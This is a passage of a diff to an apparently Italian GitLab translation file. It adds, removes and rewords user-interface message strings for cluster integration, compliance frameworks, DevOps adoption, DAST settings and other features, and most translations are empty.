+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr "Guarda i files"
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr "Jobs"
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr "Certificato CA"
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr "Certificate Authority bundle (formato PEM)"
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr "Copia URL API"
msgid "ClusterIntegration|Copy CA Certificate"
msgstr "Copia Certificato CA"
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr "Gitlab Runner"
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr "Ingresso"
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr "Collaboratori"
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr "Timezone del Cron"
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr "Non mostrare più"
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr "Scarica"
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
